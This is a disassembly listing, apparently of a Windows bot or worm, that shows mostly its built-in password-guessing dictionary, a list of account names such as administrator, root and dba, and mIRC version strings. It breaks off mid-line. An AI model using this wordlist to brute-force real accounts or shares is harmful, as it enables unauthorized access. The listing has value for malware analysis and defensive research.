aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday_0 ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher_0 ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday_0 ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday_0 ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload_0 ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" ; --------------------------------------------------------------------------- pusha inc byte ptr [ebx+0] push 700043FEh inc byte ptr [ebx+0] loc_43BB48: ; CODE XREF: .nsp0:loc_43BB48j jl short loc_43BB48 inc ebx add [esi+edi*8-173FFBDh], al inc ebx add [esi+edi*8-163FFBDh], dl inc ebx add [esi+edi*8-14FFFBDh], ah inc ebx add [eax-3FFFBC02h], bh inc byte ptr [ebx+0] enter 43FEh, 0 aam 0FEh inc ebx add ah, bl inc byte ptr [ebx+0] ; --------------------------------------------------------------------------- dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_2 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey_0 ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun_0 ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset asc_44052C ; "%" dd offset asc_440530 ; "!" dd offset a@ ; "!@" dd offset a@_0 ; "!@#" dd offset a@_1 ; "!@#$%" dd offset a@_2 ; "!@#$%^" dd offset a@_3 ; "!@#$%^&" dd offset a@_4 ; "!@#$%^&*" dd offset asc_440560 ; "#" dd offset asc_440564 ; "!!" dd offset off_440568 dd offset dword_44056C dd offset dword_440570 dd offset dword_440574 dd offset dword_440578 dd offset dword_44057C dd offset dword_440580 dd offset dword_440588 dd offset dword_44058C dd offset dword_440590 dd offset dword_440594 dd offset dword_44059C dd offset dword_4405A0 dd offset dword_4405A8 dd offset dword_4405AC dd offset dword_4405B4 dd offset dword_4405BC dd offset dword_4405C0 dd offset dword_4405C4 dd offset dword_4405C8 dd offset dword_4405D4 dd offset dword_4405DC dd offset dword_4405E4 dd offset dword_4405EC dd offset dword_4405F4 dd offset dword_4405F8 dd offset dword_4405FC dd offset dword_440600 dd offset dword_440604 dd offset a0000_0 ; "0000" dd offset a00000_0 ; "00000" dd offset a000000_0 ; "000000" dd offset a00000000_0 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_440644 ; "*" dd offset asc_440648 ; "**" dd offset asc_44064C ; "***" dd offset asc_440650 ; "****" dd offset asc_440658 ; "*****" dd offset asc_440660 ; "******" dd offset asc_440668 ; "*******" dd offset asc_440670 ; "********" dd offset asc_44067C ; "*********" dd offset a001_0 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005_0 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned_0 ; "0wned" dd offset a1_0 ; "1" dd offset a11 ; "11" dd offset a111_0 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111_0 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888_0 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12_0 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123_0 ; "123" dd offset a123123 ; "123123" dd offset a1234_0 ; "1234" dd offset a12345_0 ; "12345" dd offset a123456_0 ; "123456" dd offset a1234567_0 ; "1234567" dd offset a12345678_0 ; "12345678" dd offset a123456789_0 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe_0 ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321_0 ; "54321" dd offset a654321_0 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc ; "DISC" dd offset aCreative ; "CREATIVE" dd offset aSex_0 ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_1 ; "a" dd offset aAa_0 ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert_0 ; "qwert" dd offset aQwerty_0 ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot_2 ; "root" dd offset aServer_5 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem ; "system" dd offset aSystem_2 ; "SYSTEM" dd offset off_440DFC dd offset dword_440E00 dd offset dword_440E04 dd offset aTiger_0 ; "tiger" dd offset aKor ; "KOR" dd offset aToyota_0 ; "TOYOTA" dd offset aToyota_1 ; "toyota" dd offset asc_440E24 ; "x" dd offset aXx_2 ; "xx" dd offset aXxx_0 ; "xxx" dd offset aXxxx_0 ; "xxxx" dd offset aXxxxx_0 ; "xxxxx" dd offset aXxxxxx_0 ; "xxxxxx" dd offset aXxxxxxx_0 ; "xxxxxxx" dd offset aXxxxxxxx_0 ; "xxxxxxxx" dd offset aXxxxxxxxx_0 ; "xxxxxxxxx" dd offset aXyz_0 ; "xyz" dd offset aYaco_0 ; "yaco" dd offset aYang_0 ; "yang" dd offset aKonyang ; "konyang" dd offset aZ ; "z" dd offset aZx ; "zx" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd offset aZxcvb ; "zxcvb" dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" dd offset aAsd_0 ; "asd" dd offset aAsdf ; "asdf" dd offset aAsdfg ; "asdfg" dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" dd offset aRfv ; "rfv" dd offset aB ; "b" dd offset aBb ; "bb" dd offset aBbb ; "bbb" dd offset aBbbb ; "bbbb" dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" dd offset aC_0 ; "c" dd offset aCc ; "cc" dd offset aCcc ; "ccc" dd offset aCccc_0 ; "cccc" dd offset aCcccc ; "ccccc" dd offset aCccccc ; "cccccc" dd offset aCcccccc ; "ccccccc" dd offset aCccccccc ; "cccccccc" dd offset aCcccccccc ; "ccccccccc" dd offset aD ; "d" dd offset aDd_0 ; "dd" dd offset aDdd ; "ddd" dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset aF ; "f" dd offset aFf ; "ff" dd offset aFff ; "fff" dd offset aFfff ; "ffff" dd offset aFffff ; "fffff" dd offset aE_0 ; "e" dd offset aEe ; "ee" dd offset aEee ; "eee" dd offset aEeee ; "eeee" dd offset aEeeee ; "eeeee" dd offset aEeeeee ; "eeeeee" dd offset aG ; "g" dd offset aGg ; "gg" dd offset aGgg ; "ggg" dd offset aGggg ; "gggg" dd offset aGgggg ; "ggggg" dd offset aGggggg ; "gggggg" dd offset asc_441008 ; "h" dd offset aHh ; "hh" dd offset aHhh ; "hhh" dd offset aHhhh ; "hhhh" dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" dd offset aI_0 ; "i" dd offset aIi ; "ii" dd offset aIii ; "iii" dd offset aIiii ; "iiii" dd offset aIiiii ; "iiiii" dd offset aIiiiii ; "iiiiii" dd offset aJ_0 ; "j" dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK_0 ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_441098 ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM_3 ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN_0 ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO_0 ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP_0 ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU_0 ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_26 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT_0 ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv_0 ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ_0 ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ_0 ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" dd offset a3edc ; "3edc" dd offset a3wsx ; "3wsx" dd offset a112233 ; "112233" dd offset aMnb ; "mnb" dd offset aMnbv ; "mnbv" dd offset a2486 ; "2486" dd offset a2684 ; "2684" dd offset a13579 ; "13579" dd offset a753159 ; "753159" dd offset a159357 ; "159357" dd offset a951753 ; "951753" dd offset a753951 ; "753951" dd offset a142536 ; "142536" dd offset aSystem_0 ; "system" dd offset aAdministrato_5 ; "ADMINISTRATOR" dd offset aAdministrato_6 ; "Administrator" dd offset aAdministrato_7 ; "administrator" dd offset aFubar_0 ; "fubar" dd offset aBla_0 ; "bla" dd offset aGuest_2 ; "GUEST" dd offset aRoot_3 ; "ROOT" dd offset aRoot_4 ; "root" dd offset aAdmin_1 ; "ADMIN" dd offset aPassword_1 ; "PASSWORD" dd offset aTemp_0 ; "TEMP" dd offset aShare_1 ; "SHARE" dd offset aWrite_0 ; "WRITE" dd offset aFull_1 ; "FULL" dd offset aLadeda_0 ; "ladeda" dd offset aBoth_0 ; "BOTH" dd offset aRead_0 ; "READ" dd offset aFiles_0 ; "FILES" dd offset aDemo_0 ; "DEMO" dd offset aOwner_2 ; "OWNER" dd offset aOwner_3 ; "Owner" dd offset aEdu_0 ; "edu" dd offset aTest_0 ; "TEST" dd offset aAccess_0 ; "ACCESS" dd offset aUser_5 ; "USER" dd offset aBackup_0 ; "BACKUP" dd offset aSystem_3 ; "SYSTEM" dd offset aServer_7 ; "SERVER" dd offset dword_4E0754 dd 0 dword_43C6A4 dd 10h ; DATA XREF: sub_401CC1+716r ; sub_401CC1+74Cr ... dword_43C6A8 dd 6F72402Ah, 6D6Fh ; DATA XREF: .nsp0:off_43A154o aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_43A158o align 10h aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A15Co align 10h aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A160o align 10h aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A164o align 10h aAdministrato_0 db 'Administrator',0 ; DATA XREF: .nsp0:0043A210o align 10h aAdministrato_1 db 'administrator',0 ; DATA XREF: .nsp0:0043A214o align 10h aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:0043A218o align 10h aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0043A21Co align 10h aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0043A220o aAdmins db 'admins',0 ; DATA XREF: .nsp0:0043A224o align 4 aAdmin db 'admin',0 ; DATA XREF: .nsp0:0043A228o align 4 aStaff db 'staff',0 ; DATA XREF: .nsp0:0043A22Co align 4 aRoot db 'root',0 ; DATA XREF: .nsp0:0043A230o align 4 aComputer db 'computer',0 ; DATA XREF: .nsp0:0043A234o align 4 aOwner db 'owner',0 ; DATA XREF: .nsp0:0043A238o align 10h aStudent db 'student',0 ; DATA XREF: .nsp0:0043A23Co aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0043A240o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0043A244o align 4 aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0043A248o align 4 aDefault db 'default',0 ; DATA XREF: .nsp0:0043A24Co aDatabase db 'database',0 ; DATA XREF: .nsp0:0043A250o align 4 aDba db 'dba',0 ; DATA XREF: .nsp0:0043A254o aOracle db 'oracle',0 ; DATA XREF: .nsp0:0043A258o align 4 aDb2 db 'db2',0 ; DATA XREF: .nsp0:0043A25Co aUser_3 db 'USER',0 ; DATA XREF: .nsp0:0043A260o align 10h aAdministrato_2 db 'ADMINISTRATOR',0 ; DATA XREF: 